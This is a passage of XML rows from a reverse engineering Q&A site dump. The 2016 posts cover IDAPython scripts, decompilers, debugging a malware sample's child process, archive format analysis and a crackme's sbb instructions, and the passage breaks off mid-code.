  <row Id="13103" PostTypeId="2" ParentId="5907" CreationDate="2016-07-20T21:34:46.810" Score="0" Body="&lt;p&gt;There is a perfect open-source Python (.PYC) decompiler, called Decompyle++ &lt;a href=&quot;https://github.com/zrax/pycdc/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/zrax/pycdc/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Decompyle++ aims to translate compiled Python byte-code back into valid and human-readable Python source code. While other projects have achieved this with varied success, Decompyle++ is unique in that it seeks to support byte-code from any version of Python.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Online version is also available: &lt;a href=&quot;http://www.javadecompilers.com/pyc&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.javadecompilers.com/pyc&lt;/a&gt;&#xA;(currently non-functional)&lt;/p&gt;&#xA;" OwnerUserId="12035" LastEditorUserId="1413" LastEditDate="2016-11-21T03:08:58.873" LastActivityDate="2016-11-21T03:08:58.873" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13104" PostTypeId="2" ParentId="13100" CreationDate="2016-07-21T04:30:38.627" Score="5" Body="&lt;p&gt;It looks like that the following is what you are looking for or at least similar:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import idautils&#xA;sc = idautils.Strings()&#xA;&#xA;for s in sc:&#xA;    print &quot;%x: len=%d type=%d -&amp;gt; '%s'&quot; % (s.ea, s.length, s.type, str(s))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Tested and works in IDA 6.8, 64 bit.&#xA;The details about the class Strings in idautils module are here: &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idapython_docs/idautils.Strings-class.html&quot; rel=&quot;noreferrer&quot;&gt;https://www.hex-rays.com/products/ida/support/idapython_docs/idautils.Strings-class.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2318" LastEditorUserId="2318" LastEditDate="2016-07-21T04:42:22.900" LastActivityDate="2016-07-21T04:42:22.900" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13105" PostTypeId="2" ParentId="13101" CreationDate="2016-07-21T06:58:09.170" Score="1" Body="&lt;p&gt;Regarding the potential bug in IDA: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;First of all, you can add references yourself with &lt;code&gt;idaapi.add_cref&lt;/code&gt; and &lt;code&gt;idaapi.add_dref&lt;/code&gt; IDAPython APIs. This may be done with relatively simple script like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import idaapi&#xA;import idautils&#xA;import idc&#xA;&#xA;predefined_r13 = YOUR_R13_VALUE&#xA;&#xA;for h in idautils.Heads():&#xA;    dis = idc.GetDisasm(h) #probably there is another way to do it and parsing textual assembly is not the best option&#xA;    pos = dis.find (&quot;(r13)&quot;)&#xA;    if pos != -1: #we have your register here&#xA;          splitted = dis[:pos].split() &#xA;          lastarg = splitted[-1]&#xA;          lastarg_numeric = int(lastarg, 16)&#xA;          addr = predefined_r13 + lastarg_numeric&#xA;          idaapi.add_dref(h, addr, idc.dr_O)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Of course this script should be extended:&#xA;the expression with r13 may be more complicated,the type of data reference may be different and it may be the code reference at all, and the problem is already solved for part of the cases as it is wrote in the answer by @Igor Skochinsky, but the general idea is illustrated pretty well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition (if you want to override the work of disassembler) you can install your own disassembler module hook as @Rolf Rolles did in &lt;a href=&quot;http://www.msreverseengineering.com/blog/2015/6/29/transparent-deobfuscation-with-ida-processor-module-extensions&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; article which will recompute all these things (you'll need to override &lt;code&gt;idaapi.IDP_Hooks.custom_emu&lt;/code&gt; ), but adding data references is probably easier way to achieve your goal.&lt;/p&gt;&#xA;" OwnerUserId="2318" LastEditorUserId="2318" LastEditDate="2016-07-21T14:00:42.590" LastActivityDate="2016-07-21T14:00:42.590" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13106" PostTypeId="1" CreationDate="2016-07-21T07:49:55.733" Score="3" ViewCount="9907" Body="&lt;p&gt;I want to find out what certain buttons do on a 64 bit application, x64dbg is the debugger I have available to me, can anyone help me out? I read that ollydbg has an option to break on user input, such as a button, but since the application is question is 64 bit that's not an option. Any help on where to go from here?&lt;/p&gt;&#xA;" OwnerUserId="16796" LastActivityDate="2018-12-01T17:35:22.517" Title="How to set a breakpoint on a 64 bit process button with x64dbg?" Tags="|debugging|memory|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13107" PostTypeId="2" ParentId="13101" CreationDate="2016-07-21T11:10:33.123" Score="1" Body="&lt;p&gt;Just set it in processor options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/cKPIe.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/cKPIe.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2016-07-21T11:10:33.123" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13108" PostTypeId="1" AcceptedAnswerId="13109" CreationDate="2016-07-21T12:18:15.743" Score="0" ViewCount="452" Body="&lt;p&gt;OK...I have a file which, upon execution, runs a copy of itself as a child process, with, obviously, different behaviors.  Since this (obviously) means that OllyDBG isn't going to be able to see what the child process is doing (I can attach to the child process, but I'll still miss everything between process creation and the time I debug), I need a way to start the initial executable, such that it exhibits the behaviors of the child process.  I ASSume that in order to get different behavior, the child process is being started with a different entry point than the parent process.  I've found the call to CreateProcessA, and I can see the options being pushed, but am not certain which, if any, of these options could be used to set a new/different entry point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A) Am I going about this all wrong?  Is there some other way that the child process is exhibiting different behaviors from the parent?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;B) If I'm not going about it all wrong, can someone help me out with finding where exactly I should set the entry point to run the process as though it was launched by the parent process?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks, in advance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:&#xA;I know about the &quot;debug child process&quot; option in OllyDbg2, but for whatever reason, it isn't working.  When the child process is created, it just runs on its own, with no new debug window opening.&lt;/p&gt;&#xA;" OwnerUserId="16818" LastEditorUserId="16818" LastEditDate="2016-07-21T12:41:32.323" LastActivityDate="2016-07-21T14:57:32.753" Title="Entry point of malicious child process" Tags="|ollydbg|debugging|malware|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13109" PostTypeId="2" ParentId="13108" CreationDate="2016-07-21T14:57:32.753" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I ASSume that in order to get different behavior, the child process is&#xA;  being started with a different entry point than the parent process.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Not necessarily. &lt;a href=&quot;https://web.archive.org/web/20000302135620/http://www.siliconrealms.com/armadillo.htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;Armadillo&lt;/a&gt;'s parent-child-debugging scheme had the child process start with the same entrypoint as the parent process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, these days we more commonly see &quot;process hollowing&quot; / &quot;dynamic forking&quot;, where the entrypoints are indeed different. You can see &lt;a href=&quot;https://reverseengineering.stackexchange.com/a/12512/1562&quot;&gt;Dump a child process created by malware with an ALTERNATIVE process hollowing process&lt;/a&gt; for details on how to find the child process's entrypoint.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2016-07-21T14:57:32.753" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13110" PostTypeId="1" AcceptedAnswerId="13111" CreationDate="2016-07-21T15:27:28.367" Score="0" ViewCount="168" Body="&lt;p&gt;I wrote a simple program on my STM32F4 Disco MCU which only turns a LED on, and I am trying to RE my compiled binary. After decompiling the binary, I started my analysis at the first instruction set and treated it like a main function because it calls the other subroutines in the program. These subroutines are comparing, adding, subtracting, ... memory from addresses in the Flash, SRAM, or RAM. Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;LDR             R1, =0x80003EC  // r1 = 0x80003EC&#xA;LDR             R2, [R1]        // r2 = 0x80003EC&#xA;LDR             R3, [R1,#4]     // r3 = 0x80003F0&#xA;ADD.W           R4, R1, #0xC    // r4 = *(0x8000404) + 12&#xA;LDR             R0, [R1,#8]     // r0 = 0x80003F4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the example above, the content of R1 (memory address 0x80003EC) is getting 12 added to it and stored in R4 but I have no idea what value resides in that memory address (0x80003EC)! The program continues to use the mysterious value stored at 0x80003EC. Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;LSR             R0, R1     // r0 &amp;lt;&amp;lt; r1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The cycle of referencing unknown numbers keeps continuing. Without knowing the original value, there is no way to figure out the logic flow. All I see is mathematical operations to unknown numbers and flow control that is determined from the operations. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can a program like this be reverse engineered? &#xA;Is there a way to view the original values of memory?&lt;/p&gt;&#xA;" OwnerUserId="16654" LastEditorUserId="4437" LastEditDate="2016-07-22T08:24:44.473" LastActivityDate="2016-07-22T08:24:44.473" Title="Understanding memory locations" Tags="|arm|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13111" PostTypeId="2" ParentId="13110" CreationDate="2016-07-21T15:52:09.363" Score="0" Body="&lt;p&gt;Most likely, your program is intended to be loaded at &lt;code&gt;0x80000000&lt;/code&gt;, has a size of more than 1004 bytes (0x3EC = 1004 decimal), and the values at that location are intended to be initialized from the data section of your program when your program starts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, there could be some hardware at that specific address but that's unlikely seeing how those addresses seem to contain pointers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A third possibility is that your OS, whichever you're using, puts some global information at those locations when it loads your program.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To know which of those possibilities is correct we'd need more information about your hard- and software, but i strongly tend to the first possibility.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2016-07-21T15:52:09.363" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13113" PostTypeId="2" ParentId="13100" CreationDate="2016-07-21T20:07:51.747" Score="3" Body="&lt;p&gt;another variation to get all the strings &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import idaapi as ia&#xA;sc = ia.string_info_t()&#xA;for i in range(0,ia.get_strlist_qty()):&#xA;    ia.get_strlist_item(i,sc)&#xA;    print ia.get_ascii_contents(sc.ea,sc.length,sc.type)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2016-07-21T20:07:51.747" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13115" PostTypeId="1" CreationDate="2016-07-22T08:44:48.440" Score="0" ViewCount="324" Body="&lt;p&gt;Are there any disassemblers for Mac that comes in freeware. I have installed radare2 but finding difficult to use.&lt;/p&gt;&#xA;" OwnerUserId="16644" LastActivityDate="2016-07-23T20:36:26.553" Title="Are there Disassembler for Mac which supports scripting" Tags="|disassembly|disassemblers|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13117" PostTypeId="2" ParentId="13115" CreationDate="2016-07-22T12:33:45.010" Score="2" Body="&lt;p&gt;I would recommend capstone disassembler, it supports multiple architectures. Pydasm is also quite simple and nice disassembler.&lt;/p&gt;&#xA;" OwnerUserId="16802" LastActivityDate="2016-07-22T12:33:45.010" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13118" PostTypeId="2" ParentId="13115" CreationDate="2016-07-22T13:57:11.367" Score="1" Body="&lt;p&gt;Pydasm is outdated, wrong on many cases, so do not go for that. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Capstone is definitely the best choice now, and works on MacOS very well.&lt;/p&gt;&#xA;" OwnerUserId="13881" LastActivityDate="2016-07-22T13:57:11.367" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13120" PostTypeId="1" AcceptedAnswerId="13169" CreationDate="2016-07-22T18:01:38.290" Score="0" ViewCount="1318" Body="&lt;p&gt;Is there any way to change the calling convention programmatically?&#xA;I found some C++ code in this &lt;a href=&quot;https://github.com/nihilus/hexrays_tools&quot; rel=&quot;nofollow&quot;&gt;repo&lt;/a&gt; but wasn't able to successfully update it to 6.8.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;static bool idaapi convert_to_usercall(void *ud)&#xA;{&#xA;    vdui_t &amp;amp;vu = *(vdui_t *)ud;&#xA;    if (!vu.cfunc)&#xA;        return false;&#xA;    if ( vu.cfunc-&amp;gt;entry_ea == BADADDR )&#xA;        return false;&#xA;    tinfo_t type;&#xA;    qtype fields;       &#xA;    if (!vu.cfunc-&amp;gt;get_func_type(type, fields))&#xA;        return false;&#xA;    func_type_info_t fti;&#xA;    int a = build_funcarg_info(idati, type.c_str(), fields.c_str(), &amp;amp;fti, 0);&#xA;    if (!convert_cc_to_special(fti))&#xA;        return false;&#xA;    fields.clear();&#xA;    type.clear();&#xA;    build_func_type(&amp;amp;type, &amp;amp;fields, fti);&#xA;    if ( !apply_tinfo(idati, vu.cfunc-&amp;gt;entry_ea, type.c_str(), fields.c_str(), 1) )&#xA;        return false;&#xA;    vu.refresh_view(true);&#xA;    return true;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The code seems to use apis that are now deprecated or changed up. Does anybody know a way to fix up this code or some other approach.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be appreciated, whether it is C++ or Python.&lt;/p&gt;&#xA;" OwnerUserId="16834" LastActivityDate="2016-07-29T16:25:56.853" Title="IDA 6.8 SDK change calling convention" Tags="|ida|idapython|idapro-sdk|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13121" PostTypeId="1" CreationDate="2016-07-23T09:13:03.633" Score="0" ViewCount="765" Body="&lt;p&gt;I want to extract API call graph from IDA Pro to xml file for analysis. Can I extract API call graph from IDA Pro to xml file?&lt;/p&gt;&#xA;" OwnerUserId="16054" LastActivityDate="2016-07-23T10:42:43.167" Title="Can I extract API call graph from IDA Pro to xml file?" Tags="|ida|idapython|idapro-sdk|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13122" PostTypeId="2" ParentId="13121" CreationDate="2016-07-23T10:42:43.167" Score="2" Body="&lt;p&gt;No, you can't extract an IDA graph to the xml file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you still want to use an external graph viewer, IDA supports two graph specification languages &lt;a href=&quot;http://www.program-transformation.org/Transform/GraphDescriptionLanguage&quot; rel=&quot;nofollow&quot;&gt;Graph Description Language&lt;/a&gt; and the &lt;a href=&quot;https://en.wikipedia.org/wiki/DOT_(graph_description_language)&quot; rel=&quot;nofollow&quot;&gt;D.O.T.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="10010" LastActivityDate="2016-07-23T10:42:43.167" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13123" PostTypeId="2" ParentId="13120" CreationDate="2016-07-23T11:34:42.027" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idapython_docs/idc-module.html#SetType&quot; rel=&quot;nofollow&quot;&gt;SetType&lt;/a&gt;? An example in Python could be this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SetType(func_ea, &quot;int x(int arg1, char *arg2);&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="111" LastActivityDate="2016-07-23T11:34:42.027" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13126" PostTypeId="1" AcceptedAnswerId="13127" CreationDate="2016-07-24T11:42:35.277" Score="3" ViewCount="2272" Body="&lt;p&gt;I've never did something like this before, but I have programming experiences. There are two files:&#xA;&lt;code&gt;data00.big&lt;/code&gt; and &lt;code&gt;data01.big&lt;/code&gt;, which I would like to extract.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried Dragon Unpacker, which can unpack &lt;code&gt;.big&lt;/code&gt; files. But it seems, that they aren't valid &lt;code&gt;.big&lt;/code&gt; files, just some kind of custom archive, which is named &lt;code&gt;.big&lt;/code&gt;, so it seems, I have to write my own unpacker.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The archive was created in 1999. As far as I know, it contains mostly graphic and sound files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;data00.big&lt;/code&gt; opened in hexeditor:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/RqJq8.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/RqJq8.png&quot; alt=&quot;hex&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16846" LastActivityDate="2016-07-24T14:12:25.873" Title="What are the steps, to extract an unknown archive file in this case?" Tags="|decompilation|unpacking|file-format|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13127" PostTypeId="2" ParentId="13126" CreationDate="2016-07-24T14:12:25.873" Score="9" Body="&lt;p&gt;I see filenames. That is an extremely important starting point - if I did not, I'd have to assume the file is encrypted, compressed, or does not use filenames at all, which are all harder to unpack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the moment, skip the header &quot;BigFile&quot; and the immedtaly following data and concentrate on these filenames alone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the filenames have different lengths, you can verify if these are records of a fixed length (where the filenames are padded), or have different lengths, in which case there may be a &quot;length&quot; value - or not. A length value may not be necessary, the file names can be terminated by a special value such as &lt;code&gt;0&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are other values too - usually, in an archive format, these are file lengths. There can also be a file &lt;em&gt;offset&lt;/em&gt; - but from where? (E,g., start of file, start of archive data excluding the header, start of actual data, and so on.) A per-file offset is not required if all files appear end to end, then the lengths are enough.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There may be additional information per file record; I have encountered flags, file type codes, date/time stamps, checksums, and more. Usually, after you found out what the most important bits mean, the remaining data makes sense as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To find out what byte means what, write a small program to print out each file name and all of its associated data, up to the next file entry. Don't bother with trying to get a correct 'file count' yet. Most likely this is one of the numbers in the header at the start; you can go back to that when you got the file list details right. For starters, just write out the data of the first few dozen of entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Keep in mind that you cannot tell right away if extra data comes before or after the file name! Or even both.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;File sizes and offsets are usually 4 byte numbers; the endianness can be trivially checked (all small numbers are good, all conspicuously large must be an error). Similar but varying numbers may be file sizes. A number that keeps increasing must be an absolute file offset. Numbers that always contain data in some binary positions and none in others can be flags of some kind. Large values, hovering around similar values, can very well be a time stamp. Finally, random looking full 4 byte numbers might be a checksum.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you get consistent good results in decoding the data for the test set of file records, find the start and end of the list by trial and error. It's here that you may discover that the &quot;end&quot; of a record is actually the &lt;em&gt;start&lt;/em&gt; of the next one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will tell you (1) the number of records, and (2) the start of the record data. You can inspect if these numbers appear in the &quot;BigFile&quot; header - particularly the number of records would be useful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you can locate numbers that &quot;look&quot; like they could be file lengths and (optionally) offsets, you can write a test program to extract a single file. This may also help with determining the order of data; if you extract a file that is clearly a PNG image but its associated filename is &quot;config.txt&quot;, you have something in the wrong order.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An alternative to the above is focussing on the &lt;em&gt;data&lt;/em&gt; first. Some file types, such as PNG images, should be entirely self containing: if you find the start of a PNG image, you can immediately extract it in its entirety by looking for the tell-tale &lt;code&gt;IEND&lt;/code&gt; marker. Then you have a reliable file length and so you can search for a match in the file record set.&lt;/p&gt;&#xA;" OwnerUserId="2959" LastActivityDate="2016-07-24T14:12:25.873" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13128" PostTypeId="1" CreationDate="2016-07-24T15:22:42.840" Score="0" ViewCount="1106" Body="&lt;p&gt;IDA Pro noob here. I hit a wrong key while trying it out and now some of the lines that looked like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;lea     ecx, [esp+150h+var_13E+2]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;now look something like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;lea     ecx, [esp+14h]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It computed the sum of the formula to figure out the stack address, removing the stack variable name it was using. It's harder to use now. Is there a way to get back the original line?&lt;/p&gt;&#xA;" OwnerUserId="16848" LastActivityDate="2016-10-22T19:55:07.537" Title="Restoring original stack variable accessing in IDA Pro?" Tags="|ida|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13129" PostTypeId="2" ParentId="13128" CreationDate="2016-07-24T18:43:38.620" Score="3" Body="&lt;p&gt;You can use &lt;kbd&gt;K&lt;/kbd&gt; to toggle between stackvar and numerical representations.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2016-07-24T18:43:38.620" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13130" PostTypeId="2" ParentId="13128" CreationDate="2016-07-24T18:48:11.077" Score="0" Body="&lt;p&gt;If none of the solutions already provided work then it could be because the stack variable information itself was lost. You can have IDA regenerate it by undefining your function and redefining it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do, so, place your text cursor at the beginning of the function, press &lt;kbd&gt;U&lt;/kbd&gt; (&lt;em&gt;U&lt;/em&gt;ndefine), then &lt;kbd&gt;P&lt;/kbd&gt; (define &lt;em&gt;P&lt;/em&gt;rocedure).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that this will cause IDA to lose any information you manually added to the function (stack variable names, function prototype, etc.), so only do it as a last-resort.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2016-07-24T18:48:11.077" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13131" PostTypeId="1" CreationDate="2016-07-24T18:54:26.180" Score="0" ViewCount="2141" Body="&lt;p&gt;Before I begin I want to say for whatever reason the site wouldn't let me post this unless I didn't have the coding so I just linked it instead of it being here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is most likely the most stupid post on this website but I really want to figure out how to do this. Anyway I am trying to read the Call of Duty: Black Ops 3 code because I am interested in it. So what I did is I extracted the files from the .EXE into another folder. The files have the extensions .rsrc, .data, .idata,m .interpr, .pdata, .rdata, .reloc, .rsrc_1, .text, .tls, _RDATA, and there is a certificate. Anyway whenever I try to open any of these files it shows just tons of non legible text. There is some but not very much. Here is a part of the .text just so you can see what I am talking about.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://pastebin.com/2tzAM7xm&quot; rel=&quot;nofollow&quot;&gt;http://pastebin.com/2tzAM7xm&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That one just looks like straight up Japanese or something. The more common thing I see is something like this though. This is a part from the .data&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://pastebin.com/qZtS5R8C&quot; rel=&quot;nofollow&quot;&gt;http://pastebin.com/qZtS5R8C&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help on how to get these files to a way to read them? Again sorry for being dumb.&lt;/p&gt;&#xA;" OwnerUserId="16838" LastEditorUserId="3615" LastEditDate="2016-07-25T18:28:59.967" LastActivityDate="2016-07-25T18:28:59.967" Title="Trying To Read Code From Call of Duty" Tags="|windows|executable|exe|" AnswerCount="1" CommentCount="1" ClosedDate="2016-07-25T12:18:16.013" ContentLicense="CC BY-SA 3.0" />
  <row Id="13132" PostTypeId="2" ParentId="13131" CreationDate="2016-07-25T00:07:06.810" Score="7" Body="&lt;p&gt;Windows applications (.exe) generally use file format called &lt;a href=&quot;https://en.wikipedia.org/wiki/Portable_Executable&quot; rel=&quot;noreferrer&quot;&gt;&quot;Portable Executable&quot;&lt;/a&gt; (PE). The &quot;files&quot; that you extracted are actually sections of that PE file (see &lt;em&gt;Common Sections&lt;/em&gt; in &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/ms809762.aspx&quot; rel=&quot;noreferrer&quot;&gt;&lt;em&gt;Peering Inside the PE: A Tour of the Win32 Portable Executable File Format&lt;/em&gt;&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code of the application is in the &lt;code&gt;.text&lt;/code&gt; section, the &lt;code&gt;.text&lt;/code&gt; file that you have actually contains the code. But that code is &lt;a href=&quot;https://en.wikipedia.org/wiki/Machine_code&quot; rel=&quot;noreferrer&quot;&gt;machine code&lt;/a&gt;, which is binary encoded, not readable text.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But there is not much reason trying to understand the machine code by yourself. What you should do is to use a disassembler or a decompiler.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A &lt;a href=&quot;https://en.wikipedia.org/wiki/Disassembler&quot; rel=&quot;noreferrer&quot;&gt;disassembler&lt;/a&gt; will produce &lt;a href=&quot;https://en.wikipedia.org/wiki/Assembly_language&quot; rel=&quot;noreferrer&quot;&gt;assembly&lt;/a&gt;: accurate textual representation of the machine code. But assembly is still pretty hard to understand, and not many people know it, which is where option 2 comes in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A &lt;a href=&quot;https://en.wikipedia.org/wiki/Decompiler&quot; rel=&quot;noreferrer&quot;&gt;decompiler&lt;/a&gt; will produce higher-level code, in a language like C. Such code might be almost readable, but it likely won't be very close to the code the programmer of the application wrote, because decompiling machine code is a hard problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;TLDR: If you know assembly, get a disassembler. If you know C (or a similar language), get a decompiler. If you don't know either, you have lots to learn.&lt;/p&gt;&#xA;" OwnerUserId="3615" LastActivityDate="2016-07-25T00:07:06.810" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13133" PostTypeId="1" AcceptedAnswerId="13135" CreationDate="2016-07-25T03:45:02.290" Score="1" ViewCount="1071" Body="&lt;p&gt;I'm doing a crackme to learn some reversing, and I stumbled upon this code generated by C++ MFC:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sbb eax, eax&#xA;sbb eax, -1&#xA;test eax, eax&#xA;jz exit&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Before that code a comparison is done, such as &lt;code&gt;cmp al, bl&lt;/code&gt; where al and bl hold some value read from the serial&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The thing that confused me, is I figured that the cmp and two sbb instructions are equivalent to this pseudocode:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cmp a,b&#xA;eax=-1 if b&amp;gt;a&#xA;eax=1 otherwise&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However this confused me because eax can never be 0, so the zero flag will always be set.  Therefore, I figure the chunk of code &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;test eax, eax&#xA;jz exit&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;is useless because it does nothing- but how can this be? I don't think their C++ compiler would generate useless code like that&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where am I wrong here?&lt;/p&gt;&#xA;" OwnerUserId="8076" LastActivityDate="2016-07-25T10:10:09.857" Title="What are the results of this sbb instruction?" Tags="|x86|crackme|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13135" PostTypeId="2" ParentId="13133" CreationDate="2016-07-25T10:10:09.857" Score="1" Body="&lt;p&gt;are you sure it was compiler generated ?&lt;br&gt;&#xA;may be it was hand crafted or deliberately coded like wise &#xA;may be it checks the sign flag further down in the jz path &#xA;may be red herring ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;well whatever it requires more info &#xA;based on the info provided only thing that pops up is a check for sign flag further down the path &lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is a small compilable c code that shows what flags and results are for the operations in the query &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;int helper (unsigned char a , unsigned char b )&#xA;{&#xA;    unsigned char res = 0;&#xA;    unsigned char flag = 0;&#xA;    __asm&#xA;    {&#xA;        xor eax,eax&#xA;        xor ecx,ecx&#xA;        mov al,a        ;          = 0  1  2  3  4  5  6  7&#xA;        mov cl,b        ;          = 4  4  4  4  4  4  4  4&#xA;        cmp al,cl       ;cf        = 1  1  1  1  0  0  0  0&#xA;        sbb eax,eax     ;x-x-cf    =-1 -1 -1 -1  0  0  0  0&#xA;        sbb eax,-1      ;x-(-1)-cf =-1 